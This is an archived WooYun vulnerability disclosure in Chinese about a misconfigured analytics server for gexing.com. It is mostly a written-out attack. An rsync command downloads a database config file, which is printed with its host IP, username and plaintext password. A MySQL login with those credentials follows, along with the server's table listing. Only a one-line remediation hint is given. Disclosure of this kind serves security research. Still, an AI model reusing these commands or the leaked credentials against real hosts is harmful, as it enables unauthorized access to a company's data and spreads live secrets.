乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2013-10-28: 积极联系厂商并且等待厂商认领中,细节不对外公开 2013-12-12: 厂商已经主动忽略漏洞,细节向公众公开
配置文件可读到,且mysql用户授权没有限制来源ip.
rsync 211.154.219.72::analytics.gexing.com/config/dbconf.php .dbconf.php::::::::::::::<?php$_SERVER['db_conf'] = array( 'gxanalytics' => array( 'host' =>'211.154.255.103', 'port' =>'3306', 'user'=>'gxanalyticsuser', 'passwd'=>'woainiya@2012' ) );// redis$_SERVER['CONFIG']['redis'] = array( 'master' => array( 'wwwhotsearchcount' => array( 'host' => '211.154.255.103', 'port' => '6379' ) ));mysql -h211.154.255.103 -ugxanalyticsuser -pwoainiya@2012Welcome to the MySQL monitor. Commands end with ; or \g.Your MySQL connection id is 48728435Server version: 5.1.49-3-log (Debian)Copyright (c) 2000, 2011, Oracle and/or its affiliates. All rights reserved.Oracle is a registered trademark of Oracle Corporation and/or itsaffiliates. Other names may be trademarks of their respectiveowners.Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.show tables;+------------------------------+| Tables_in_gxanalytics |+------------------------------+| 3gdayuv || 3gpv || android7dayuv || androidactioncount || androidclienttype || androiddayuv || androiddownloadcount || androidpv || androidvisittype || attentioncountratio || contentpublishcount || emailauthcount || gexingspecialdaycount || gexingspecialdaytotal || goldcountcurrent || jzbbspostcount || jzuseractioncount || moodpublishcount || newuserregcount || newzoneusercount || phpslowcount || phpslowdetail || phpslowdomaincount || pvtoarea || qqbindcount || redisdayused || redisusedtotal || smsbusinesslist || smssendlist || specialcodelist || www500count || www500detail || wwwactiontalentcount || wwwattentioncount || wwwcolumnlistviewcount || wwwcolumnvisitcount || wwwdayhouruv || wwwdayip || wwwdaypv || wwwdayuv || wwwhotsearchcount || wwwpublishcount || wwwspecialpagevisitcount || wwwuniquechangeinfousercount || wwwuniqueloginusercount || wwwweekloginusercount || zoneactiveusercount || zonemoodusercount || zoneonlineusercount || zoneuniqueloginusercount || zuoyeuniqueloginusercount || zyactioncount |+------------------------------+52 rows in set (0.21 sec)
授权要严谨
未能联系到厂商或者厂商积极拒绝